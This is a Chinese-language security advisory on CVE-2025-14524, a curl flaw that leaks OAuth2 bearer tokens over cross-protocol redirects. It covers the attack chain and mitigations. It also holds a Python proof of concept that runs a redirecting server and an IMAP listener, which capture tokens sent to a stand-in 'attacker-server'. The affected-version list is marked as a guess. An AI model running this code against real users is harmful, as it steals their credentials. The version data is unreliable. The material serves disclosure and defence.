IPBUF安全漏洞报告
English
CVE-2025-14524 CVSS 5.3 中危

CVE-2025-14524 curl OAuth2 Bearer Token跨协议重定向泄露漏洞

披露日期: 2026-01-08
来源: 2499f714-1537-4658-8207-48ae4bb9eae9

漏洞信息

漏洞编号
CVE-2025-14524
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
curl

相关标签

curlOAuth2Bearer Token信息泄露跨协议重定向CVE-2025-14524libcurl凭证泄露IMAPLDAP

漏洞概述

CVE-2025-14524是libcurl中的一个安全漏洞,当OAuth2 bearer token用于HTTP(S)传输时,如果该传输执行跨协议重定向到使用IMAP、LDAP、POP3或SMTP协议的第二个URL,curl可能会错误地将bearer token传递给新的目标主机。这意味着攻击者可以通过设置恶意服务器,诱导受害者进行跨协议重定向,从而窃取受害者的OAuth2认证凭证。OAuth2 bearer token通常用于API认证,一旦泄露,攻击者可以使用该token以受害者身份访问受保护的资源。该漏洞的CVSS评分为5.3,属于中等严重程度,主要风险在于机密性影响(高),因为敏感的认证token可能被泄露给恶意第三方。攻击成功需要用户交互(点击链接或访问特定页面),但不需要任何认证,这降低了攻击门槛。

技术细节

该漏洞源于curl在处理OAuth2 bearer token时的安全机制缺陷。当curl配置为在HTTP请求中发送Authorization头部的Bearer token时,它会在整个请求过程中保留该凭证。正常情况下,curl不会将认证凭证发送到不同域名的服务器,这是标准的安全实践。然而,当发生跨协议重定向时(从HTTP/HTTPS重定向到IMAP、LDAP、POP3或SMTP),curl的凭证保护机制失效,导致Bearer token被发送到重定向目标。攻击者可以架设一个恶意服务器,当受害者访问时,服务器返回302或其他重定向响应,将请求重定向到一个IMAP、LDAP、POP3或SMTP URL。由于curl在重定向时不正确地处理凭证,导致OAuth2 token被以明文形式发送到攻击者控制的协议服务器。攻击者只需监听相应的端口(如IMAP的143端口)即可捕获泄露的token。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意HTTP服务器,当受害者访问时返回302重定向到IMAP/IMAPS URL
STEP 2
步骤2
受害者使用curl发起HTTP请求,携带OAuth2 Bearer token(如:curl -H 'Authorization: Bearer <token>' http://malicious-server/)
STEP 3
步骤3
curl接收到302响应,执行跨协议重定向到imap://attacker-server:143/INBOX
STEP 4
步骤4
curl错误地将Bearer token包含在请求中发送到IMAP服务器
STEP 5
步骤5
攻击者通过监听IMAP端口(143/993)捕获泄露的OAuth2 token
STEP 6
步骤6
攻击者使用窃取的token以受害者身份访问受保护的API资源

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-14524 PoC - curl OAuth2 Bearer Token Cross-Protocol Redirect Leak This PoC demonstrates how an attacker can steal OAuth2 tokens via cross-protocol redirect. """ import http.server import socketserver import threading import socket # Malicious OAuth2 token (would be captured by attacker) stolen_tokens = [] class MaliciousRedirectHandler(http.server.BaseHTTPRequestHandler): """Handler that redirects victim to IMAP server controlled by attacker""" def do_GET(self): # Send redirect response to IMAP URL # The OAuth2 token will be sent to this URL imap_redirect_url = "imap://attacker-server:143/INBOX" self.send_response(302) self.send_header('Location', imap_redirect_url) self.send_header('Authorization', 'Bearer ' + self.headers.get('Authorization', '')) self.end_headers() print(f"[*] Sent redirect to {imap_redirect_url}") print(f"[*] Authorization header: {self.headers.get('Authorization', 'None')}") class IMAPSniffer(threading.Thread): """Simple IMAP server to capture OAuth2 tokens""" def __init__(self, port=143): super().__init__() self.port = port self.running = True self.daemon = True def run(self): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', self.port)) server.listen(1) print(f"[*] IMAP sniffer listening on port {self.port}") while self.running: try: server.settimeout(1.0) conn, addr = server.accept() print(f"[*] Connection from {addr}") # Read data from connection (may contain OAuth2 token) data = b"" try: while True: chunk = conn.recv(4096) if not chunk: break data += chunk except: pass decoded_data = data.decode('utf-8', errors='ignore') if 'Bearer' in decoded_data or 'AUTHENTICATE' in decoded_data: print(f"[!] POTENTIAL TOKEN CAPTURED: {decoded_data[:500]}") stolen_tokens.append(decoded_data) conn.close() except socket.timeout: continue except Exception as e: if self.running: print(f"[!] Error: {e}") server.close() def run_attack_server(port=8080): """Run the malicious HTTP server""" with socketserver.TCPServer(('', port), MaliciousRedirectHandler) as httpd: print(f"[*] Malicious server running on http://0.0.0.0:{port}") print(f"[*] Redirect target: imap://attacker-server:143") print("[*] Waiting for victims...") httpd.serve_forever() if __name__ == "__main__": # Start IMAP sniffer sniffer = IMAPSniffer(port=143) sniffer.start() # Run malicious redirect server run_attack_server(port=8080) # Usage: # 1. Attacker runs this script # 2. Victim uses curl with OAuth2 token: curl -H "Authorization: Bearer <token>" http://attacker-server:8080 # 3. curl follows redirect to imap://attacker-server:143 # 4. OAuth2 token is leaked to attacker's IMAP sniffer

影响范围

libcurl < 8.11.0 (推测,具体版本需参考官方公告)
curl 8.10.0至8.10.x系列
curl 8.9.0至8.9.x系列

防御指南

临时缓解措施
在官方修复发布前,可采取以下临时措施:1)限制使用OAuth2 token的curl请求不要跟随重定向(使用--max-redirs 0);2)对所有重定向目标URL进行白名单验证,拒绝非预期协议(IMAP/LDAP/POP3/SMTP);3)使用防火墙规则阻止内网服务向外部IMAP/LDAP/POP3/SMTP服务器发起连接;4)监控curl进程的DNS重绑定和协议切换行为;5)考虑使用更严格的凭证管理策略,避免在命令行中明文传递token。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表